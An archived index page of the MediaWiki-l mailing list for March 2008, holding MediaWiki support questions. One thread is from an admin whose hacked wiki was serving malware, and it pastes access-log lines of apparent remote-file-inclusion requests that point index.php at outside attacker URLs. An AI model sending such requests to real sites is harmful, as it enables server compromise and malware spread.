MediaWiki-l March 2008

mediawiki-l@lists.wikimedia.org

113 participants
155 discussions

Index.php page under hackers attack?
by Itay Ophir 14 Mar '08

14 Mar '08

Hi Everyone, I hope this is the right place to ask about this (pls point me elsewhere is needed) Our MediaWiki was hacked (twice in the past month) and someone was able to change the root index.html files of our website and add an Iframe to it that loads a malicious java applet. If users select to run the applet it installs a virus/torjan on their PC. After reading the log file I am thinking it's the Wiki's index.php page. The hosting is NetworkS' who said that I have a vulnerable php script. And I should fix it. This is from the log files: XX.XX.XX.XX - - [29/Feb/2008:00:00:30 -0500] "GET /wiki/index.php?title=Http://uuionmaniskis.rbcmail.ru/images%3F HTTP/1.1" 200 1688 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)" XX.XX.XX.XX - - [29/Feb/2008:00:00:29 -0500] "GET /wiki/index.php?title=http://uuionmaniskis.rbcmail.ru/images? HTTP/1.1" 301 96 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)" XX.XX.XX.XX - - [29/Feb/2008:00:01:41 -0500] "GET /wiki/index.php?title=http://uuionmaniskis.rbcmail.ru/images? HTTP/1.1" 301 96 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)" XX.XX.XX - - [29/Feb/2008:00:01:19 -0500] "GET /wiki/index.php?title=http://sschhhoolsucksmmman.krovatka.su/images? HTTP/1.1" 301 96 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)" XX.XX.XX.XX - - [29/Feb/2008:00:05:48 -0500] "GET /wiki/index.php?title=Http://zaperyan1918moon.chat.ru/html/aboutme%3F HTTP/1.1" 200 1700 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)" Can anyone advice on how to protect it/prevent future attacks? Thanks a lot in advance! Itay

3 2

Watch List Problem in MediaWiki 1.11.0
by Rowe, Dolores A 13 Mar '08

13 Mar '08

We are using MediaWiki 1.11.0. In "my preferences", in the "E-mail" section, I have checked "E-mail me when a page I'm watching is changed". After that, for the Main Page, I have the checkbox on the Edit page selected which says "Watch this page". I made a change, but did not get an email. I was able to go to the "my watchlist" page and see the change. What did I do wrong ? Why didn't I get an email ? What can I try ? Thank you, Lori

2 1

Hooking OutputPageBeforeHTML, no $wgParser->getTitle()?
by Daniel Barrett 13 Mar '08

13 Mar '08

I wrote an extension that hooks OutputPageBeforeHTML and runs on every page load, but intermittently, $wgParser->getTitle() returns NULL. Anybody know why? Here's the weirdest part: if you edit an article in IE and save it, then when the article redisplays, $wgParser->getTitle() returns NULL. But if you edit in Firefox and save it, $wgParser->getTitle() returns the correct Title object. Any explanations? Bug? Or did I write something wrong? The minimal code looks like: <?php // Run on every page load new MyClass(); class MyClass { public function __construct() { global $wgHooks; $wgHooks['OutputPageBeforeHTML'][] = array($this, 'myMethod'); } // Hook function function myMethod($parserOutput, &$text) { global $wgParser; $title = $wgParser->getTitle(); if ($title) { echo "OK"; } else { echo "bug"; } } } DanB

1 0

Automatic horizontal scrollbar in <pre> on mediawiki.org?
by Daniel Barrett 13 Mar '08

13 Mar '08

In <pre>...</pre> sections on mediawiki.org, a horizontal scrollbar is automatically rendered when the lines are long. Is this a built-in MediaWiki feature, or an extension? It doesn't happen on Wikipedia, and I don't see anything likely in mediawiki.org's extension list in Special:Version, nor in mediawiki:common.{css,js}. Thanks, DanB

2 2

Turning off case sensitivity in titles
by Jack Eapen C 13 Mar '08

13 Mar '08

Hi, How can I turn off case sesitivity of titles in Mediawiki? If there is an article "Number Portability" (capital P), I don't want some other person to create another article "Number portability" (small p). Regards, Jack Eapen C SunTec Knowledge Centre ------------------------------------------------------------------------ ------------ "Management is doing things right; leadership is doing the right things" This electronic mail (including any attachment thereto) may be confidential and privileged and is intended only for the individual or entity named above. Any unauthorized use, printing, copying, disclosure or dissemination of this communication may be subject to legal restriction or sanction. Accordingly, if you are not the intended recipient, please notify the sender by replying to this email immediately and delete this email (and any attachment thereto) from your computer system...Thank You

6 6

Welcome to mediawiki-l (weekly posting)
by river＠hemlock.ts.wikimedia.org 13 Mar '08

13 Mar '08

Welcome to mediawiki-l. This mailing list exists for discussion and questions about the MediaWiki software[0]. Important MediaWiki-related announcements (such as new versions) are also posted to this list. Other resources. If you only wish to receive announcements, you should subscribe to mediawiki-announce[1] instead. MediaWiki development discussion, and all Wikimedia technical questions, should be directed to the wikitech-l[2] mailing list. Several other MediaWiki-related lists exist: - mediawiki-api[5] for API discussions, - mediawiki-enterprise[6] for discussion of MediaWiki in the enterprise, - mediawiki-cvs[7] for notification of commits to the Subversion repository, - mediawiki-i18n[8] for discussion of MediaWiki internationalisation support, - wikibugs-l[9] for notification of changes to the bug tracker. List administrivia (unsubscribing, list archives). To unsubscribe from this mailing list, visit [12]. Archives of previous postings can be found at [3]. This list is also gatewayed to the Gmane NNTP server[4], which you can use to read and post to the list. Posting to the list. Before posting to this list, please read the MediaWiki FAQ[10]. Many common questions are answered here. You may also search the list archives to see if your question has been asked before. Please try to ask your question in a way that enables people to answer you. Provide all relevant details, explain your problem clearly, etc. You may wish to read [13], which explains how to ask questions well. To post to the list, send mail to <mediawiki-l(a)lists.wikimedia.org>. This is a public list, so you should not include confidential information in mails you send. When replying to an existing thread, use the "Reply" or "Followup" feature of your mail client, so that clients that understand threading can sort your message properly. When quoting other messages, please use the "inline" quoting style[11], for clarity. When creating a new thread, do not reply to an existing message and change the subject. This will confuse peoples' mail readers, and will result in fewer people reading your mail. Instead, compose a new message for your post. Messages posted to the list have the "Reply-To" header set to the mailing list, which means that by default, replies will go to the entire list. If you are posting a reply which is only interesting to the original poster, and not the list in general, you should change the reply to only go to that person. This avoids cluttering the list with irrelevant traffic. About this message. This message is posted to the list once per week by <river(a)wikimedia.org>. Please contact me if you have any questions or concerns about this mailing. References. [0] http://www.mediawiki.org/ [1] http://lists.wikimedia.org/mailman/listinfo/mediawiki-announce [2] http://lists.wikimedia.org/mailman/listinfo/wikitech-l [3] http://lists.wikimedia.org/pipermail/mediawiki-l/ [4] http://dir.gmane.org/gmane.org.wikimedia.mediawiki [5] http://lists.wikimedia.org/mailman/listinfo/mediawiki-api [6] http://lists.wikimedia.org/mailman/listinfo/mediawiki-enterprise [7] http://lists.wikimedia.org/mailman/listinfo/mediawiki-cvs [8] http://lists.wikimedia.org/mailman/listinfo/mediawiki-i18n [9] http://lists.wikimedia.org/mailman/listinfo/wikibugs-l [10] http://www.mediawiki.org/wiki/FAQ [11] http://en.wikipedia.org/wiki/Posting_style#Inline_replying [12] http://lists.wikimedia.org/mailman/listinfo/mediawiki-l [13] http://www.catb.org/~esr/faqs/smart-questions.html

1 0

FTS not working after moving from mysql to pgsql
by Husemann, Harald 12 Mar '08

12 Mar '08

Hi, I've recently moved our Mediawiki from a server with a mysql database to a new one which uses pgsql. I did this by using a script from Greg Sabino Mullane <greg\(a)turnstep.com> (thanks for the good work, the script did the move quite nice!). The content is available in the new wiki, but there's one caveat: The full text search seems to be broken, it does not find anything. Searching for a page works fine, so I suppose there's a problem with the indexes used by tsearch, maybe the import didn't fire the triggers to rebuild the index?! My environment: * MediaWiki: 1.10.1 * PHP: 5.2.4 (apache2handler) * PostgreSQL: PostgreSQL 8.1.4 on i386-pc-solaris2.10, compiled by /ws/on10-tools/SUNWspro/SOS8/bin/cc -Xa (Yes, I know that Postgres 8.1.4 is not up to date - but upgrading it is not an option) Is there any possibility to force a rebuild of the tsearch index base? I tried it already with reindex database, "update pagecontent set old_id=old_id;" and "update page set page_id = page_id;", but no success... Any ideas?? Thanks, Harald -- Harald Husemann Netzwerk- und Systemadministrator Operation Management Center (OMC) MATERNA GmbH Information & Communications Westfalendamm 98 44141 Dortmund Geschäftsführer: Dr. Winfried Materna, Helmut an de Meulen, Ralph Hartwig Amtsgericht Dortmund HRB 5839 Tel: +49 231 9505 222 Fax: +49 231 9505 100 www.annyway.com <http://www.annyway.com/> www.materna.com <http://www.materna.com/>

1 1

dan.bolser has invited you to Spokeo
by dan.bolser＠gmail.com 12 Mar '08

12 Mar '08

Hi MediaWiki,<br/><br/> dan.bolser(a)gmail.com has invited you to Spokeo, which finds your friends' updates across the Web. On average, Spokeo finds 87 friends across 30 different social networks. See what Spokeo can find for you now! Click http://www.spokeo.com/public/join?c=06a5407dc814d8d605e485b9673f19a3872d1e43 to accept your invitation. ----- This invitation was sent with dan.bolser's approval. If you wish to opt out of all future emails, go to http://www.spokeo.com/optout?c=m495254534956515149 Copyright (c) 2008 Spokeo, Inc. All rights reserved. 1685 Plymouth Street #200, Mountain View, CA 94043

1 0

Displaying multiple articles on one page for PDF Export
by Peter Mexbacher 12 Mar '08

12 Mar '08

Hello List, I have the following question: I would like to set up mediawiki for a collaborate book project. The idea is to edit pages normally - wiki style - maybe assign them to a category, and then, when necessary, display _all_ articles on one page so one can print it (as a PDF, say). Is this possible? Best Regards, Peter P.S.: I can't use htmldoc as I am on a shared host which does not support it, so I have to go via the "one page" way.

2 1

Extension help
by Steve VanSlyck 12 Mar '08

12 Mar '08

Does anyone know how to resolve these problems: One gentleman suggested I check the $url variable, but I installed the magpierss code exactly as instructed (see lines from LocalSettings.php below) and I would not know what else to do. I'd actually prefer to use RSSReader (which is what I'm using now) but it had even more errors. Magpie/Alexndr had only these three. Notice: Undefined variable: url in C:\Inetpub\olr\wiki\LocalSettings.php on line 191 Warning: MagpieRSS: fetch_rss called without a url in C:\Inetpub\olr\wiki\extensions\magpierss\rss_fetch.inc on line 238 Parse error: syntax error, unexpected '>' in C:\Inetpub\olr\wiki\extensions\magpierss\rss.php on line 130 ============================= LocalSettings.php lines 189-192: 189 # AlxndrRSS 190 require_once("extensions/magpierss/rss_fetch.inc"); 191 $rss = fetch_rss($url); 192 include_once("extensions/magpierss/rss.php"); ============================= rss_fetch.inc lines 228-240: 228 function error ($errormsg, $lvl=E_USER_WARNING) { 229 global $MAGPIE_ERROR; 230 231 // append PHP's error message if track_errors enabled 232 if ( isset($php_errormsg) ) { 233 $errormsg .= " ($php_errormsg)"; 234 } 235 if ( $errormsg ) { 236 $errormsg = "MagpieRSS: $errormsg"; 237 $MAGPIE_ERROR = $errormsg; 238 trigger_error( $errormsg, $lvl); 239 } 240 } ============================= rss.php lines 128-130: 128 #check for errors. 129 if ($rss->ERROR) { 130 return «<div>Failed to load RSS feed from $url: ».$rss->ERROR."</div>"; #localize... 131 }

6 17

← Newer
1
...
8
9
10
11
12
13
14
15
16
Older →

Jump to page:

2026

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

2003

MediaWiki-l March 2008